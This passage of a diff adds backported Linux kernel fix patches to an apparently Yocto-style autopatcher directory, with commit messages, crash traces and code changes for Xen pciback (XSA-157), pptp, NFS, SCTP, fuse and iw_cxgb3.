insertions(+) + +diff --git a/drivers/xen/xen-pciback/pciback_ops.c b/drivers/xen/xen-pciback/pciback_ops.c +index 741fd04d5f8c1..ad5f12e406372 100644 +--- a/drivers/xen/xen-pciback/pciback_ops.c ++++ b/drivers/xen/xen-pciback/pciback_ops.c +@@ -67,6 +67,13 @@ static void xen_pcibk_control_isr(struct pci_dev *dev, int reset) + enable ? "enable" : "disable"); + + if (enable) { ++ /* ++ * The MSI or MSI-X should not have an IRQ handler. Otherwise ++ * if the guest terminates we BUG_ON in free_msi_irqs. ++ */ ++ if (dev->msi_enabled || dev->msix_enabled) ++ goto out; ++ + rc = request_irq(dev_data->irq, + xen_pcibk_guest_interrupt, IRQF_SHARED, + dev_data->irq_name, dev); +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0174-4c2e2fd22095-xenpciback For XENPCIOPdisablemsix only disable if device.patch b/recipes-kernel/linux/linux-bass/autopatcher/0174-4c2e2fd22095-xenpciback For XENPCIOPdisablemsix only disable if device.patch new file mode 100644 index 0000000..bb41f29 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0174-4c2e2fd22095-xenpciback For XENPCIOPdisablemsix only disable if device.patch @@ -0,0 +1,107 @@ +From 4c2e2fd22095d210b8ec2db4f82cdd0a1c8e49a6 Mon Sep 17 00:00:00 2001 +From: Konrad Rzeszutek Wilk +Date: Wed, 1 Apr 2015 10:49:47 -0400 +Subject: xen/pciback: For XEN_PCI_OP_disable_msi[|x] only disable if device + has MSI(X) enabled. + +commit 7cfb905b9638982862f0331b36ccaaca5d383b49 upstream. + +Otherwise just continue on, returning the same values as +previously (return of 0, and op->result has the PIRQ value). + +This does not change the behavior of XEN_PCI_OP_disable_msi[|x]. + +The pci_disable_msi or pci_disable_msix have the checks for +msi_enabled or msix_enabled so they will error out immediately. + +However the guest can still call these operations and cause +us to disable the 'ack_intr'. That means the backend IRQ handler +for the legacy interrupt will not respond to interrupts anymore. + +This will lead to (if the device is causing an interrupt storm) +for the Linux generic code to disable the interrupt line. + +Naturally this will only happen if the device in question +is plugged in on the motherboard on shared level interrupt GSI. + +This is part of XSA-157 + +Reviewed-by: David Vrabel +Signed-off-by: Konrad Rzeszutek Wilk +Signed-off-by: Willy Tarreau +--- + drivers/xen/xen-pciback/pciback_ops.c | 33 ++++++++++++++++++++------------- + 1 file changed, 20 insertions(+), 13 deletions(-) + +diff --git a/drivers/xen/xen-pciback/pciback_ops.c b/drivers/xen/xen-pciback/pciback_ops.c +index ad5f12e406372..cd1481a53eff1 100644 +--- a/drivers/xen/xen-pciback/pciback_ops.c ++++ b/drivers/xen/xen-pciback/pciback_ops.c +@@ -182,20 +182,23 @@ static + int xen_pcibk_disable_msi(struct xen_pcibk_device *pdev, + struct pci_dev *dev, struct xen_pci_op *op) + { +- struct xen_pcibk_dev_data *dev_data; +- + if (unlikely(verbose_request)) + printk(KERN_DEBUG DRV_NAME ": %s: disable MSI\n", + pci_name(dev)); +- pci_disable_msi(dev); + ++ if (dev->msi_enabled) { ++ struct xen_pcibk_dev_data *dev_data; ++ ++ pci_disable_msi(dev); ++ ++ dev_data = pci_get_drvdata(dev); ++ if (dev_data) ++ dev_data->ack_intr = 1; ++ } + op->value = dev->irq ? xen_pirq_from_irq(dev->irq) : 0; + if (unlikely(verbose_request)) + printk(KERN_DEBUG DRV_NAME ": %s: MSI: %d\n", pci_name(dev), + op->value); +- dev_data = pci_get_drvdata(dev); +- if (dev_data) +- dev_data->ack_intr = 1; + return 0; + } + +@@ -261,23 +264,27 @@ static + int xen_pcibk_disable_msix(struct xen_pcibk_device *pdev, + struct pci_dev *dev, struct xen_pci_op *op) + { +- struct xen_pcibk_dev_data *dev_data; + if (unlikely(verbose_request)) + printk(KERN_DEBUG DRV_NAME ": %s: disable MSI-X\n", + pci_name(dev)); +- pci_disable_msix(dev); + ++ if (dev->msix_enabled) { ++ struct xen_pcibk_dev_data *dev_data; ++ ++ pci_disable_msix(dev); ++ ++ dev_data = pci_get_drvdata(dev); ++ if (dev_data) ++ dev_data->ack_intr = 1; ++ } + /* + * SR-IOV devices (which don't have any legacy IRQ) have + * an undefined IRQ value of zero. + */ + op->value = dev->irq ? xen_pirq_from_irq(dev->irq) : 0; + if (unlikely(verbose_request)) +- printk(KERN_DEBUG DRV_NAME ": %s: MSI-X: %d\n", pci_name(dev), +- op->value); +- dev_data = pci_get_drvdata(dev); +- if (dev_data) +- dev_data->ack_intr = 1; ++ printk(KERN_DEBUG DRV_NAME ": %s: MSI-X: %d\n", ++ pci_name(dev), op->value); + return 0; + } + #endif +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0175-1d9d642c16d2-xenpciback Dont allow MSIX ops if PCICOMMANDMEMORY is not set.patch b/recipes-kernel/linux/linux-bass/autopatcher/0175-1d9d642c16d2-xenpciback Dont allow MSIX ops if PCICOMMANDMEMORY is not set.patch new file mode 100644 index 0000000..a5113e1 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0175-1d9d642c16d2-xenpciback Dont allow MSIX ops if PCICOMMANDMEMORY is not set.patch @@ -0,0 +1,65 @@ +From 1d9d642c16d2bd551f74a77901066d1ce2541768 Mon Sep 17 00:00:00 2001 +From: Konrad Rzeszutek Wilk +Date: Mon, 2 Nov 2015 18:13:27 -0500 +Subject: xen/pciback: Don't allow MSI-X ops if PCI_COMMAND_MEMORY is not set. + +commit 408fb0e5aa7fda0059db282ff58c3b2a4278baa0 upstream. + +commit f598282f51 ("PCI: Fix the NIU MSI-X problem in a better way") +teaches us that dealing with MSI-X can be troublesome. + +Further checks in the MSI-X architecture shows that if the +PCI_COMMAND_MEMORY bit is turned of in the PCI_COMMAND we +may not be able to access the BAR (since they are memory regions). + +Since the MSI-X tables are located in there.. that can lead +to us causing PCIe errors. Inhibit us performing any +operation on the MSI-X unless the MEMORY bit is set. + +Note that Xen hypervisor with: +"x86/MSI-X: access MSI-X table only after having enabled MSI-X" +will return: +xen_pciback: 0000:0a:00.1: error -6 enabling MSI-X for guest 3! + +When the generic MSI code tries to setup the PIRQ without +MEMORY bit set. Which means with later versions of Xen +(4.6) this patch is not neccessary. + +This is part of XSA-157 + +Reviewed-by: Jan Beulich +Signed-off-by: Konrad Rzeszutek Wilk +Signed-off-by: Willy Tarreau +--- + drivers/xen/xen-pciback/pciback_ops.c | 8 +++++++- + 1 file changed, 7 insertions(+), 1 deletion(-) + +diff --git a/drivers/xen/xen-pciback/pciback_ops.c b/drivers/xen/xen-pciback/pciback_ops.c +index cd1481a53eff1..6c17f92341f58 100644 +--- a/drivers/xen/xen-pciback/pciback_ops.c ++++ b/drivers/xen/xen-pciback/pciback_ops.c +@@ -209,6 +209,7 @@ int xen_pcibk_enable_msix(struct xen_pcibk_device *pdev, + struct xen_pcibk_dev_data *dev_data; + int i, result; + struct msix_entry *entries; ++ u16 cmd; + + if (unlikely(verbose_request)) + printk(KERN_DEBUG DRV_NAME ": %s: enable MSI-X\n", +@@ -220,7 +221,12 @@ int xen_pcibk_enable_msix(struct xen_pcibk_device *pdev, + if (dev->msix_enabled) + return -EALREADY; + +- if (dev->msi_enabled) ++ /* ++ * PCI_COMMAND_MEMORY must be enabled, otherwise we may not be able ++ * to access the BARs where the MSI-X entries reside. ++ */ ++ pci_read_config_word(dev, PCI_COMMAND, &cmd); ++ if (dev->msi_enabled || !(cmd & PCI_COMMAND_MEMORY)) + return -ENXIO; + + entries = kmalloc(op->value * sizeof(*entries), GFP_KERNEL); +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0176-7681f31ec9cd-xenpciback Dont disable PCICOMMAND on PCI device reset.patch b/recipes-kernel/linux/linux-bass/autopatcher/0176-7681f31ec9cd-xenpciback Dont disable PCICOMMAND on PCI device reset.patch new file mode 100644 index 0000000..875b8f1 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0176-7681f31ec9cd-xenpciback Dont disable PCICOMMAND on PCI device reset.patch @@ -0,0 +1,54 @@ +From 7681f31ec9cdacab4fd10570be924f2cef6669ba Mon Sep 17 00:00:00 2001 +From: Konrad Rzeszutek Wilk +Date: Wed, 13 Feb 2019 18:21:31 -0500 +Subject: xen/pciback: Don't disable PCI_COMMAND on PCI device reset. + +There is no need for this at all. Worst it means that if +the guest tries to write to BARs it could lead (on certain +platforms) to PCI SERR errors. + +Please note that with af6fc858a35b90e89ea7a7ee58e66628c55c776b +"xen-pciback: limit guest control of command register" +a guest is still allowed to enable those control bits (safely), but +is not allowed to disable them and that therefore a well behaved +frontend which enables things before using them will still +function correctly. + +This is done via an write to the configuration register 0x4 which +triggers on the backend side: +command_write + \- pci_enable_device + \- pci_enable_device_flags + \- do_pci_enable_device + \- pcibios_enable_device + \-pci_enable_resourcess + [which enables the PCI_COMMAND_MEMORY|PCI_COMMAND_IO] + +However guests (and drivers) which don't do this could cause +problems, including the security issues which XSA-120 sought +to address. + +Reported-by: Jan Beulich +Signed-off-by: Konrad Rzeszutek Wilk +Reviewed-by: Prarit Bhargava +Signed-off-by: Juergen Gross +--- + drivers/xen/xen-pciback/pciback_ops.c | 2 -- + 1 file changed, 2 deletions(-) + +diff --git a/drivers/xen/xen-pciback/pciback_ops.c b/drivers/xen/xen-pciback/pciback_ops.c +index ea4a08b83fa0..787966f44589 100644 +--- a/drivers/xen/xen-pciback/pciback_ops.c ++++ b/drivers/xen/xen-pciback/pciback_ops.c +@@ -127,8 +127,6 @@ void xen_pcibk_reset_device(struct pci_dev *dev) + if (pci_is_enabled(dev)) + pci_disable_device(dev); + +- pci_write_config_word(dev, PCI_COMMAND, 0); +- + dev->is_busmaster = 0; + } else { + pci_read_config_word(dev, PCI_COMMAND, &cmd); +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0177-83f2b0860770-pptp verify sockaddrlen in pptpbind and pptpconnect.patch b/recipes-kernel/linux/linux-bass/autopatcher/0177-83f2b0860770-pptp verify sockaddrlen in pptpbind and pptpconnect.patch new file mode 100644 index 0000000..fef5c36 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0177-83f2b0860770-pptp verify sockaddrlen in pptpbind and pptpconnect.patch @@ -0,0 +1,42 @@ +From 83f2b0860770d05f14cb8ce29ffd18f2f5585a4e Mon Sep 17 00:00:00 2001 +From: WANG Cong +Date: Mon, 14 Dec 2015 13:48:36 -0800 +Subject: pptp: verify sockaddr_len in pptp_bind() and pptp_connect() + +[ Upstream commit 09ccfd238e5a0e670d8178cf50180ea81ae09ae1 ] + +Reported-by: Dmitry Vyukov +Signed-off-by: Cong Wang +Signed-off-by: David S. Miller +Signed-off-by: Greg Kroah-Hartman +--- + drivers/net/ppp/pptp.c | 6 ++++++ + 1 file changed, 6 insertions(+) + +diff --git a/drivers/net/ppp/pptp.c b/drivers/net/ppp/pptp.c +index 0d5a5faaf83b2..9a423435039ae 100644 +--- a/drivers/net/ppp/pptp.c ++++ b/drivers/net/ppp/pptp.c +@@ -420,6 +420,9 @@ static int pptp_bind(struct socket *sock, struct sockaddr *uservaddr, + struct pptp_opt *opt = &po->proto.pptp; + int error = 0; + ++ if (sockaddr_len < sizeof(struct sockaddr_pppox)) ++ return -EINVAL; ++ + lock_sock(sk); + + opt->src_addr = sp->sa_addr.pptp; +@@ -441,6 +444,9 @@ static int pptp_connect(struct socket *sock, struct sockaddr *uservaddr, + struct flowi4 fl4; + int error = 0; + ++ if (sockaddr_len < sizeof(struct sockaddr_pppox)) ++ return -EINVAL; ++ + if (sp->sa_protocol != PX_PROTO_PPTP) + return -EINVAL; + +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0178-18e3b739fdc8-NFS Fix a NULL pointer dereference of migration recovery ops for.patch b/recipes-kernel/linux/linux-bass/autopatcher/0178-18e3b739fdc8-NFS Fix a NULL pointer dereference of migration recovery ops for.patch new file mode 100644 index 0000000..2e65c84 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0178-18e3b739fdc8-NFS Fix a NULL pointer dereference of migration recovery ops for.patch @@ -0,0 +1,83 @@ +From 18e3b739fdc826481c6a1335ce0c5b19b3d415da Mon Sep 17 00:00:00 2001 +From: Kinglong Mee +Date: Sat, 15 Aug 2015 21:52:10 +0800 +Subject: NFS: Fix a NULL pointer dereference of migration recovery ops for + v4.2 client + +---Steps to Reproduce-- + +# cat /etc/exports +/nfs/referal *(rw,insecure,no_subtree_check,no_root_squash,crossmnt) +/nfs/old *(ro,insecure,subtree_check,root_squash,crossmnt) + + +# mount -t nfs nfs-server:/nfs/ /mnt/ +# ll /mnt/*/ + + +# cat /etc/exports +/nfs/referal *(rw,insecure,no_subtree_check,no_root_squash,crossmnt,refer=/nfs/old/@nfs-server) +/nfs/old *(ro,insecure,subtree_check,root_squash,crossmnt) +# service nfs restart + + +# ll /mnt/*/ --->>>>> oops here + +[ 5123.102925] BUG: unable to handle kernel NULL pointer dereference at (null) +[ 5123.103363] IP: [] nfs4_proc_get_locations+0x9b/0x120 [nfsv4] +[ 5123.103752] PGD 587b9067 PUD 3cbf5067 PMD 0 +[ 5123.104131] Oops: 0000 [#1] +[ 5123.104529] Modules linked in: nfsv4(OE) nfs(OE) fscache(E) nfsd(OE) xfs libcrc32c iscsi_tcp libiscsi_tcp libiscsi scsi_transport_iscsi coretemp crct10dif_pclmul crc32_pclmul crc32c_intel ghash_clmulni_intel ppdev vmw_balloon parport_pc parport i2c_piix4 shpchp auth_rpcgss nfs_acl vmw_vmci lockd grace sunrpc vmwgfx drm_kms_helper ttm drm mptspi serio_raw scsi_transport_spi e1000 mptscsih mptbase ata_generic pata_acpi [last unloaded: nfsd] +[ 5123.105887] CPU: 0 PID: 15853 Comm: ::1-manager Tainted: G OE 4.2.0-rc6+ #214 +[ 5123.106358] Hardware name: VMware, Inc. VMware Virtual Platform/440BX Desktop Reference Platform, BIOS 6.00 05/20/2014 +[ 5123.106860] task: ffff88007620f300 ti: ffff88005877c000 task.ti: ffff88005877c000 +[ 5123.107363] RIP: 0010:[] [] nfs4_proc_get_locations+0x9b/0x120 [nfsv4] +[ 5123.107909] RSP: 0018:ffff88005877fdb8 EFLAGS: 00010246 +[ 5123.108435] RAX: ffff880053f3bc00 RBX: ffff88006ce6c908 RCX: ffff880053a0d240 +[ 5123.108968] RDX: ffffea0000e6d940 RSI: ffff8800399a0000 RDI: ffff88006ce6c908 +[ 5123.109503] RBP: ffff88005877fe28 R08: ffffffff81c708a0 R09: 0000000000000000 +[ 5123.110045] R10: 00000000000001a2 R11: ffff88003ba7f5c8 R12: ffff880054c55800 +[ 5123.110618] R13: 0000000000000000 R14: ffff880053a0d240 R15: ffff880053a0d240 +[ 5123.111169] FS: 0000000000000000(0000) GS:ffffffff81c27000(0000) knlGS:0000000000000000 +[ 5123.111726] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 +[ 5123.112286] CR2: 0000000000000000 CR3: 0000000054cac000 CR4: 00000000001406f0 +[ 5123.112888] Stack: +[ 5123.113458] ffffea0000e6d940 ffff8800399a0000 00000000000167d0 0000000000000000 +[ 5123.114049] 0000000000000000 0000000000000000 0000000000000000 00000000a7ec82c6 +[ 5123.114662] ffff88005877fe18 ffffea0000e6d940 ffff8800399a0000 ffff880054c55800 +[ 5123.115264] Call Trace: +[ 5123.115868] [] nfs4_try_migration+0xbb/0x220 [nfsv4] +[ 5123.116487] [] nfs4_run_state_manager+0x4ab/0x7b0 [nfsv4] +[ 5123.117104] [] ? nfs4_do_reclaim+0x510/0x510 [nfsv4] +[ 5123.117813] [] kthread+0xd7/0xf0 +[ 5123.118456] [] ? kthread_worker_fn+0x160/0x160 +[ 5123.119108] [] ret_from_fork+0x3f/0x70 +[ 5123.119723] [] ? kthread_worker_fn+0x160/0x160 +[ 5123.120329] Code: 4c 8b 6a 58 74 17 eb 52 48 8d 55 a8 89 c6 4c 89 e7 e8 4a b5 ff ff 8b 45 b0 85 c0 74 1c 4c 89 f9 48 8b 55 90 48 8b 75 98 48 89 df <41> ff 55 00 3d e8 d8 ff ff 41 89 c6 74 cf 48 8b 4d c8 65 48 33 +[ 5123.121643] RIP [] nfs4_proc_get_locations+0x9b/0x120 [nfsv4] +[ 5123.122308] RSP +[ 5123.122942] CR2: 0000000000000000 + +Fixes: ec011fe847 ("NFS: Introduce a vector of migration recovery ops") +Cc: stable@vger.kernel.org # v3.13+ +Signed-off-by: Kinglong Mee +Signed-off-by: Trond Myklebust +--- + fs/nfs/nfs4proc.c | 1 + + 1 file changed, 1 insertion(+) + +diff --git a/fs/nfs/nfs4proc.c b/fs/nfs/nfs4proc.c +index 15ee8bd99b615..43bace809be7d 100644 +--- a/fs/nfs/nfs4proc.c ++++ b/fs/nfs/nfs4proc.c +@@ -8661,6 +8661,7 @@ static const struct nfs4_minor_version_ops nfs_v4_2_minor_ops = { + .reboot_recovery_ops = &nfs41_reboot_recovery_ops, + .nograce_recovery_ops = &nfs41_nograce_recovery_ops, + .state_renewal_ops = &nfs41_state_renewal_ops, ++ .mig_recovery_ops = &nfs41_mig_recovery_ops, + }; + #endif + +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0179-1cf7c76efb3c-sctp Prevent soft lockup when sctpaccept is called during a.patch b/recipes-kernel/linux/linux-bass/autopatcher/0179-1cf7c76efb3c-sctp Prevent soft lockup when sctpaccept is called during a.patch new file mode 100644 index 0000000..70e170a --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0179-1cf7c76efb3c-sctp Prevent soft lockup when sctpaccept is called during a.patch @@ -0,0 +1,197 @@ +From 1cf7c76efb3c0f5439d2c9461502f33817469371 Mon Sep 17 00:00:00 2001 +From: Karl Heiss +Date: Thu, 24 Sep 2015 12:15:07 -0400 +Subject: sctp: Prevent soft lockup when sctp_accept() is called during a + timeout event + +commit 635682a14427d241bab7bbdeebb48a7d7b91638e upstream. + +A case can occur when sctp_accept() is called by the user during +a heartbeat timeout event after the 4-way handshake. Since +sctp_assoc_migrate() changes both assoc->base.sk and assoc->ep, the +bh_sock_lock in sctp_generate_heartbeat_event() will be taken with +the listening socket but released with the new association socket. +The result is a deadlock on any future attempts to take the listening +socket lock. + +Note that this race can occur with other SCTP timeouts that take +the bh_lock_sock() in the event sctp_accept() is called. + + BUG: soft lockup - CPU#9 stuck for 67s! [swapper:0] + ... + RIP: 0010:[] [] _spin_lock+0x1e/0x30 + RSP: 0018:ffff880028323b20 EFLAGS: 00000206 + RAX: 0000000000000002 RBX: ffff880028323b20 RCX: 0000000000000000 + RDX: 0000000000000000 RSI: ffff880028323be0 RDI: ffff8804632c4b48 + RBP: ffffffff8100bb93 R08: 0000000000000000 R09: 0000000000000000 + R10: ffff880610662280 R11: 0000000000000100 R12: ffff880028323aa0 + R13: ffff8804383c3880 R14: ffff880028323a90 R15: ffffffff81534225 + FS: 0000000000000000(0000) GS:ffff880028320000(0000) knlGS:0000000000000000 + CS: 0010 DS: 0018 ES: 0018 CR0: 000000008005003b + CR2: 00000000006df528 CR3: 0000000001a85000 CR4: 00000000000006e0 + DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000 + DR3: 0000000000000000 DR6: 00000000ffff0ff0 DR7: 0000000000000400 + Process swapper (pid: 0, threadinfo ffff880616b70000, task ffff880616b6cab0) + Stack: + ffff880028323c40 ffffffffa01c2582 ffff880614cfb020 0000000000000000 + 0100000000000000 00000014383a6c44 ffff8804383c3880 ffff880614e93c00 + ffff880614e93c00 0000000000000000 ffff8804632c4b00 ffff8804383c38b8 + Call Trace: + + [] ? sctp_rcv+0x492/0xa10 [sctp] + [] ? nf_iterate+0x69/0xb0 + [] ? ip_local_deliver_finish+0x0/0x2d0 + [] ? nf_hook_slow+0x76/0x120 + [] ? ip_local_deliver_finish+0x0/0x2d0 + [] ? ip_local_deliver_finish+0xdd/0x2d0 + [] ? ip_local_deliver+0x98/0xa0 + [] ? ip_rcv_finish+0x12d/0x440 + [] ? ip_rcv+0x275/0x350 + [] ? __netif_receive_skb+0x4ab/0x750 + ... + +With lockdep debugging: + + ===================================== + [ BUG: bad unlock balance detected! ] + ------------------------------------- + CslRx/12087 is trying to release lock (slock-AF_INET) at: + [] sctp_generate_timeout_event+0x40/0xe0 [sctp] + but there are no more locks to release! + + other info that might help us debug this: + 2 locks held by CslRx/12087: + #0: (&asoc->timers[i]){+.-...}, at: [] run_timer_softirq+0x16f/0x3e0 + #1: (slock-AF_INET){+.-...}, at: [] sctp_generate_timeout_event+0x23/0xe0 [sctp] + +Ensure the socket taken is also the same one that is released by +saving a copy of the socket before entering the timeout event +critical section. + +Signed-off-by: Karl Heiss +Signed-off-by: David S. Miller +[wt: adjusted, 3.10 uses sctp_bh_unlock_sock() instead of bh_lock_sock()] + +Signed-off-by: Willy Tarreau +--- + net/sctp/sm_sideeffect.c | 42 +++++++++++++++++++++++------------------- + 1 file changed, 23 insertions(+), 19 deletions(-) + +diff --git a/net/sctp/sm_sideeffect.c b/net/sctp/sm_sideeffect.c +index 8aab894aeabee..730914cdb7a14 100644 +--- a/net/sctp/sm_sideeffect.c ++++ b/net/sctp/sm_sideeffect.c +@@ -251,12 +251,13 @@ void sctp_generate_t3_rtx_event(unsigned long peer) + int error; + struct sctp_transport *transport = (struct sctp_transport *) peer; + struct sctp_association *asoc = transport->asoc; +- struct net *net = sock_net(asoc->base.sk); ++ struct sock *sk = asoc->base.sk; ++ struct net *net = sock_net(sk); + + /* Check whether a task is in the sock. */ + +- sctp_bh_lock_sock(asoc->base.sk); +- if (sock_owned_by_user(asoc->base.sk)) { ++ sctp_bh_lock_sock(sk); ++ if (sock_owned_by_user(sk)) { + SCTP_DEBUG_PRINTK("%s:Sock is busy.\n", __func__); + + /* Try again later. */ +@@ -279,10 +280,10 @@ void sctp_generate_t3_rtx_event(unsigned long peer) + transport, GFP_ATOMIC); + + if (error) +- asoc->base.sk->sk_err = -error; ++ sk->sk_err = -error; + + out_unlock: +- sctp_bh_unlock_sock(asoc->base.sk); ++ sctp_bh_unlock_sock(sk); + sctp_transport_put(transport); + } + +@@ -292,11 +293,12 @@ out_unlock: + static void sctp_generate_timeout_event(struct sctp_association *asoc, + sctp_event_timeout_t timeout_type) + { +- struct net *net = sock_net(asoc->base.sk); ++ struct sock *sk = asoc->base.sk; ++ struct net *net = sock_net(sk); + int error = 0; + +- sctp_bh_lock_sock(asoc->base.sk); +- if (sock_owned_by_user(asoc->base.sk)) { ++ sctp_bh_lock_sock(sk); ++ if (sock_owned_by_user(sk)) { + SCTP_DEBUG_PRINTK("%s:Sock is busy: timer %d\n", + __func__, + timeout_type); +@@ -320,10 +322,10 @@ static void sctp_generate_timeout_event(struct sctp_association *asoc, + (void *)timeout_type, GFP_ATOMIC); + + if (error) +- asoc->base.sk->sk_err = -error; ++ sk->sk_err = -error; + + out_unlock: +- sctp_bh_unlock_sock(asoc->base.sk); ++ sctp_bh_unlock_sock(sk); + sctp_association_put(asoc); + } + +@@ -373,10 +375,11 @@ void sctp_generate_heartbeat_event(unsigned long data) + int error = 0; + struct sctp_transport *transport = (struct sctp_transport *) data; + struct sctp_association *asoc = transport->asoc; +- struct net *net = sock_net(asoc->base.sk); ++ struct sock *sk = asoc->base.sk; ++ struct net *net = sock_net(sk); + +- sctp_bh_lock_sock(asoc->base.sk); +- if (sock_owned_by_user(asoc->base.sk)) { ++ sctp_bh_lock_sock(sk); ++ if (sock_owned_by_user(sk)) { + SCTP_DEBUG_PRINTK("%s:Sock is busy.\n", __func__); + + /* Try again later. */ +@@ -397,10 +400,10 @@ void sctp_generate_heartbeat_event(unsigned long data) + transport, GFP_ATOMIC); + + if (error) +- asoc->base.sk->sk_err = -error; ++ sk->sk_err = -error; + + out_unlock: +- sctp_bh_unlock_sock(asoc->base.sk); ++ sctp_bh_unlock_sock(sk); + sctp_transport_put(transport); + } + +@@ -411,10 +414,11 @@ void sctp_generate_proto_unreach_event(unsigned long data) + { + struct sctp_transport *transport = (struct sctp_transport *) data; + struct sctp_association *asoc = transport->asoc; +- struct net *net = sock_net(asoc->base.sk); ++ struct sock *sk = asoc->base.sk; ++ struct net *net = sock_net(sk); + +- sctp_bh_lock_sock(asoc->base.sk); +- if (sock_owned_by_user(asoc->base.sk)) { ++ sctp_bh_lock_sock(sk); ++ if (sock_owned_by_user(sk)) { + SCTP_DEBUG_PRINTK("%s:Sock is busy.\n", __func__); + + /* Try again later. */ +@@ -435,7 +439,7 @@ void sctp_generate_proto_unreach_event(unsigned long data) + asoc->state, asoc->ep, asoc, transport, GFP_ATOMIC); + + out_unlock: +- sctp_bh_unlock_sock(asoc->base.sk); ++ sctp_bh_unlock_sock(sk); + sctp_association_put(asoc); + } + +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0180-020ef19153db-fuse break infinite loop in fusefillwritepages.patch b/recipes-kernel/linux/linux-bass/autopatcher/0180-020ef19153db-fuse break infinite loop in fusefillwritepages.patch new file mode 100644 index 0000000..9c0030c --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0180-020ef19153db-fuse break infinite loop in fusefillwritepages.patch @@ -0,0 +1,63 @@ +From 020ef19153db7b81f94935ec03adecb4a8ab8964 Mon Sep 17 00:00:00 2001 +From: Roman Gushchin +Date: Mon, 12 Oct 2015 16:33:44 +0300 +Subject: fuse: break infinite loop in fuse_fill_write_pages() + +commit 3ca8138f014a913f98e6ef40e939868e1e9ea876 upstream. + +I got a report about unkillable task eating CPU. Further +investigation shows, that the problem is in the fuse_fill_write_pages() +function. If iov's first segment has zero length, we get an infinite +loop, because we never reach iov_iter_advance() call. + +Fix this by calling iov_iter_advance() before repeating an attempt to +copy data from userspace. + +A similar problem is described in 124d3b7041f ("fix writev regression: +pan hanging unkillable and un-straceable"). If zero-length segmend +is followed by segment with invalid address, +iov_iter_fault_in_readable() checks only first segment (zero-length), +iov_iter_copy_from_user_atomic() skips it, fails at second and +returns zero -> goto again without skipping zero-length segment. + +Patch calls iov_iter_advance() before goto again: we'll skip zero-length +segment at second iteraction and iov_iter_fault_in_readable() will detect +invalid address. + +Special thanks to Konstantin Khlebnikov, who helped a lot with the commit +description. + +Cc: Andrew Morton +Cc: Maxim Patlasov +Cc: Konstantin Khlebnikov +Signed-off-by: Roman Gushchin +Signed-off-by: Miklos Szeredi +Fixes: ea9b9907b82a ("fuse: implement perform_write") +Signed-off-by: Greg Kroah-Hartman +--- + fs/fuse/file.c | 2 +- + 1 file changed, 1 insertion(+), 1 deletion(-) + +diff --git a/fs/fuse/file.c b/fs/fuse/file.c +index 4fafb8484bbc5..35f604b5f4087 100644 +--- a/fs/fuse/file.c ++++ b/fs/fuse/file.c +@@ -993,6 +993,7 @@ static ssize_t fuse_fill_write_pages(struct fuse_req *req, + + mark_page_accessed(page); + ++ iov_iter_advance(ii, tmp); + if (!tmp) { + unlock_page(page); + page_cache_release(page); +@@ -1005,7 +1006,6 @@ static ssize_t fuse_fill_write_pages(struct fuse_req *req, + req->page_descs[req->num_pages].length = tmp; + req->num_pages++; + +- iov_iter_advance(ii, tmp); + count += tmp; + pos += tmp; + offset += tmp; +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0181-1630624d5387-iwcxgb3 Fix incorrectly returning error on success.patch b/recipes-kernel/linux/linux-bass/autopatcher/0181-1630624d5387-iwcxgb3 Fix incorrectly returning error on success.patch new file mode 100644 index 0000000..cf6082d --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0181-1630624d5387-iwcxgb3 Fix incorrectly returning error on success.patch @@ -0,0 +1,45 @@ +From 1630624d5387a837112fb3663fe5daa22c680267 Mon Sep 17 00:00:00 2001 +From: Hariprasad S +Date: Fri, 11 Dec 2015 13:59:17 +0530 +Subject: iw_cxgb3: Fix incorrectly returning error on success + +commit 67f1aee6f45059fd6b0f5b0ecb2c97ad0451f6b3 upstream. + +The cxgb3_*_send() functions return NET_XMIT_ values, which are +positive integers values. So don't treat positive return values +as an error. + +Signed-off-by: Steve Wise +Signed-off-by: Hariprasad Shenai +Signed-off-by: Doug Ledford +[a pox on developers and maintainers who do not cc: stable for bug fixes like this - gregkh] +Signed-off-by: Greg Kroah-Hartman +--- + drivers/infiniband/hw/cxgb3/iwch_cm.c | 4 ++-- + 1 file changed, 2 insertions(+), 2 deletions(-) + +diff --git a/drivers/infiniband/hw/cxgb3/iwch_cm.c b/drivers/infiniband/hw/cxgb3/iwch_cm.c +index 3e094cd6a0e34..a9194ef626cdd 100644 +--- a/drivers/infiniband/hw/cxgb3/iwch_cm.c ++++ b/drivers/infiniband/hw/cxgb3/iwch_cm.c +@@ -149,7 +149,7 @@ static int iwch_l2t_send(struct t3cdev *tdev, struct sk_buff *skb, struct l2t_en + error = l2t_send(tdev, skb, l2e); + if (error < 0) + kfree_skb(skb); +- return error; ++ return error < 0 ? error : 0; + } + + int iwch_cxgb3_ofld_send(struct t3cdev *tdev, struct sk_buff *skb) +@@ -165,7 +165,7 @@ int iwch_cxgb3_ofld_send(struct t3cdev *tdev, struct sk_buff *skb) + error = cxgb3_ofld_send(tdev, skb); + if (error < 0) + kfree_skb(skb); +- return error; ++ return error < 0 ? error : 0; + } + + static void release_tid(struct t3cdev *tdev, u32 hwtid, struct sk_buff *skb) +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0182-bbb094201689-USB fix invalid memory access in hubactivate.patch b/recipes-kernel/linux/linux-bass/autopatcher/0182-bbb094201689-USB fix invalid memory access in hubactivate.patch new 